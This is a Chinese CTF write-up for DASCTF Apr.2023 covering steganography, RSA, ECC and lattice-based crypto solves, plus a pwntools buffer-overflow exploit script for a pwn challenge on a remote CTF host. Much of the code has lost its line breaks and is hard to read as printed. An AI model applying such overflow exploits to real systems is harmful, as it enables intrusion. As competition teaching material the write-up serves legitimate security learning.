DASCTF Apr.2023

WriteUp 1年前 (2023) admin
508 0 0

EDI

JOIN US ▶▶▶

招新


EDI安全的CTF战队经常参与各大CTF比赛,了解CTF赛事。

欢迎各位师傅加入EDI,大家一起打CTF,一起进步。(诚招re、crypto、pwn方向的师傅)有意向的师傅请联系邮箱[email protected][email protected](带上自己的简历,简历内容包括但不限于就读学校、个人ID、擅长技术方向、历史参与比赛成绩等等。

点击蓝字 ·  关注我们

01

Misc

1

Ge9ians_Girl

1.one.docx打开存在隐藏字体

DASCTF Apr.2023

2.使⽤Twitter Secret Messages在线解密

DASCTF Apr.2023

得到压缩包密码。

3.拼接jpg

解压后观察文件内容发现字符串JFIF,于是推测为JPG图片。

DASCTF Apr.2023


缺少文件头,手动补全。

DASCTF Apr.2023

4.图片解密

DASCTF Apr.2023

查看图片属性,存在备注,由秘密联想到our secret解密。

DASCTF Apr.2023

密码Ge9ian

DASCTF Apr.2023

得到flag

DASCTF Apr.2023

02

Crypto

1

sign1n

DASCTF Apr.2023

求出phi,进而求d

DASCTF Apr.2023

from Crypto.Util.number import *
n = 17501785470905115084530641937586010443633001681612179692218171935474388105810758340844015368385708349722992595891293984847291588862799310921139505076364559140770828784719022502905431468825797666445114531707625227170492272392144861677408547696040355055483067831733807927267488677560035243230884564063878855983123740667214237638766779250729115967995715398679183680360515620300448887396447013941026492557540060990171678742387611013736894406804530109193638867704765955683067309269778890269186100476308998155078252336943147988308936856121869803970807195714727873626949774272831321358988667427984601788595656519292763705699WHATF= 75508724088959033404695498670887377792217350429834878678886907475107075752089172294551355636146750776413145040296667144242424412192465664317884142775871836244848453511116245006460351076142217567065811509187768281184820922418673656442339508528012864816038932590297339935724171250022846052431263666833737626888023132885727981977755637934052513539575296017373759877622302239655390185971153732580928755127999316934935224787266619760595125680297820741428710196099808998517020292785659722058317321843979658998922533927698382128038238160671457376973116485498790496130810179253878087386473331780754466831958996839814120147321sign = 12029865785359077271888851642408932941748698222400692402967271078485911077035193062225857653592806498565936667868784327397659271889359852555292426797695393591842279629975530499882434299824406229989496470187187565025826834367095435441393901750671657454855301104151016192695436071059013094114929109806658331209302942624722867961155156665675500638029626815869590842939369327466155186891537025880396861428410389552502395963071259114101340089657190695306100646728391832337848064478382298002033457224425654731106858054291015385823564302151351406917158392454536296555530524352049490745470215338669859669599380477470525863815e = 0x10001
kphi=e**3*(WHATF-3)-1k=kphi//n+1phi=kphi//kd=inverse(e,phi)m=pow(sign,e,n)r=2tt=pow(r,-e**2-d**2,n)print(long_to_bytes(m*tt%n))

2

ECC?

三次加密都是用的同一条曲线,先求出曲线的模N

有三个点,可以得到三个关于a,b模N的同余方程,消掉a,b得到kN,与gift进行gcd得到N

DASCTF Apr.2023

e1 = 516257683822598401e2 = 391427904712695553e3 = 431785901506020973gift = 10954621221812651197619957228527372749810730943802288293715079353550311138677754821746522832935330138708418986232770630995550582619687239759917418738050269898943719822278514605075330569827210725314869039623167495140328454254640051293396463956732280673238182897228775094614386379902845973838934549168736103799539422716766688822243954145073458283746306858717624769112552867126607212724068484647333634548047278790589999183913C1 = (1206929895217993244310816423179846824808172528120308055773133254871707902120929022352908110998765937447485028662679732041, 652060368795242052052268674691241294013033011634464089331399905627588366001436638328894634036437584845563026979258880828)C2 = (1819289899794579183151870678118089723240127083264590266958711858768481876209114055565064148870164568925012329554392844153, 1110245535005295568283994217305072930348872582935452177061131445872842458573911993488746144360725164302010081437373324551)C3 = (1112175463080774353628562547288706975571507012326470665917118873336738873653792420189391867408691423887642725415133046354, 1820636035485820691083758790204536675748006232767111209985774382700260408550258280489088658228739971137550264759084468620)
t1,s1=C1[0],C1[1]^2-C1[0]^3t2,s2=C2[0],C2[1]^2-C2[0]^3t3,s3=C3[0],C3[1]^2-C3[0]^3
kn=(t1-t2)*(s1-s3)-(t1-t3)*(s1-s2)n=GCD(kn,gift)a=(s1-s2)*inverse_mod(t1-t2,n)%nb=(s1-t1*a)%n
g,u,v=xgcd(e1,e3)print(g)E = EllipticCurve(IntegerModRing(n), [a, b])C1,C2,C3=E(C1),E(C2),E(C3)M=u*C1+v*C3from Crypto.Util.number import *
print(long_to_bytes(ZZ(M.xy()[0])))

3

babyhash

proof of work是找一个卡迈克尔数,在

https://web.archive.org/web/20090906105152/http://de.wikibooks.org/wiki/Pseudoprimzahlen:_Tabelle_Carmichael-Zahlen

这里找了一个

然后是求a,构造格子用LLL算法

DASCTF Apr.2023

求出a

把a的二进制0所在的位置改为不同的字符即

gift=[1081525128496076064667539791215351728089411518048583068425742232429631522, 75452395437412816240588075926650143671927388736398148730090262300502495, 1724333602319455825142006446190775229148297872184872444667654817980675102, 815860936658029704962549094830589402492086311084728971354676399118972722, 887836891509758183202785094456112991565907664986305377980583302038605394, 773809561254449441228312978409036222590561558503177004531004297926434708, 1035238188041527245295010003555630804849118643285833934825236656581605257, 287092690427228368874195264025229893375941935001986682738501611858387984, 508827322318396937190715346745250523805283127560457219793264088065179494, 147588700997888679321949618712200736966063170112952916734772112780613108, 354389794541475893275235670298706077685935342934309037696915573027216057, 1064576052972743797059730532801009924014233313571964644356802179481822033, 750056625654875335612909139012724096092832206515798300128612545677171400, 1044320431114985594001422107484917208324051256313522280989752170531493682, 1762203056046607629487882489855476493044367892329004240397798371377731104, 501035581346235464280046299669844732256189567783508482737149508236689018, 146583739418840640176864807482251159326547586919933802453967951105376876, 1556299704845880006370919974342972959359314392599194276642428520315800503, 1756822815204319850167406491790991927981871224091118792185418705404487393, 88787091199327243891982696603830894396461903593609617852535154764894937, 1567491696733009340925045229031724383510577131567581163192739089879833331, 1692301261320579193656846762582599927468078406075286857512571258716948792, 940563488594681709197811119780724063610974229077796373268101073341284018, 1649182111841788876337335015600445373234675690426207762257241652824516965, 1247936179816594421218153411906459506176312312791218461114358908488461506, 1755393934004585276405526772567403666005331184356943208175778083142737854, 544316314034942198355033850338448114145920218816152845754663242216263776, 901259897924627895838410036127868944120210424164784431421503212811869373, 683974122914740974467719992508166443274233193310577798177657338008280255, 403953181751770768498428361266196261058109247209029854038527571082788679]
n=1766847064778384329583297500742918515827483896875618958121606201292619891M1=2^230M2=2^(230-85)M=matrix(ZZ,2+len(gift)-1,2+len(gift)-1)M[0,0]=M1M[1,1]=M2for i in range(len(gift)-1): M[i+2,i+2]=n M[0,i+2]=gift[i+1] M[1,i+2]=gift[i]^3
r=M.LLL()a=ZZ(abs(r[0,1]/M2))print(a)
key = bin(a)[2:]for i,k in enumerate(key): if k=='0': b=i breakprint('a'*b+'a')print('a'*b+'b')

03

Pwn

1

four

#coding:utf-8import sysfrom pwn import *from ctypes import CDLLcontext.log_level='debug'elfelf='./pwn'#context.arch='amd64'while True :  # try :    elf=ELF(elfelf)    context.arch=elf.arch
gdb_text=''' telescope $rebase(0x202040) 16 b *0x4013C1 b *0x400E19 '''
if len(sys.argv)==1 : clibc=CDLL('/lib/x86_64-linux-gnu/libc.so.6') io=process(elfelf) gdb_open=1 # io=process(['./'],env={'LD_PRELOAD':'./'}) clibc.srand(clibc.time(0)) libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') # ld = ELF('/lib/x86_64-linux-gnu/ld-2.23.so') one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247]
else : clibc=CDLL('/lib/x86_64-linux-gnu/libc.so.6') io=remote('node4.buuoj.cn',27361) gdb_open=0 clibc.srand(clibc.time(0)) libc=ELF('./libc.so.6') # ld = ELF('/lib/x86_64-linux-gnu/ld-2.23.so') one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247]
def gdb_attach(io,a): if gdb_open==1 : gdb.attach(io,a)
def choice(a): io.sendlineafter('your choice : n',str(a))
def edit(a,b): io.sendlineafter('there will be no overflow',str(a)) io.sendlineafter('usefuln',b) io.sendafter('Really?n','y')
def filee(): choice(3) io.sendlineafter(':',str(1)) io.sendlineafter(':',str(1)) io.sendlineafter(':',str(3)) io.sendlineafter(':','kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk') io.sendlineafter('namen','output.txt')

def delete(a): choice(4) io.sendlineafter('info>>n',a)



gdb_attach(io,gdb_text) choice(2) edit(0x5fef,'./flagx00x00'*2*0x5fe) filee() io.sendlineafter('n',str(2)) delete('~3:x60x21x40>@x70*')
choice(5) io.recvuntil('This is a strange overflow. Because of canary, you must not hijack the return addressn') io.sendline('a'*0x118+p64(0x602140))
# success('libc_base:'+hex(libc_base)) # success('heap_base:'+hex(heap_base))
# gdb_attach(io,gdb_text) io.interactive()
# except Exception as e: # io.close() # continue # else: # continue

EDI安全

DASCTF Apr.2023

扫二维码|关注我们

一个专注渗透实战经验分享的公众号


原文始发于微信公众号(EDI安全):DASCTF Apr.2023

版权声明:admin 发表于 2023年4月23日 下午6:01。
转载请注明:DASCTF Apr.2023 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...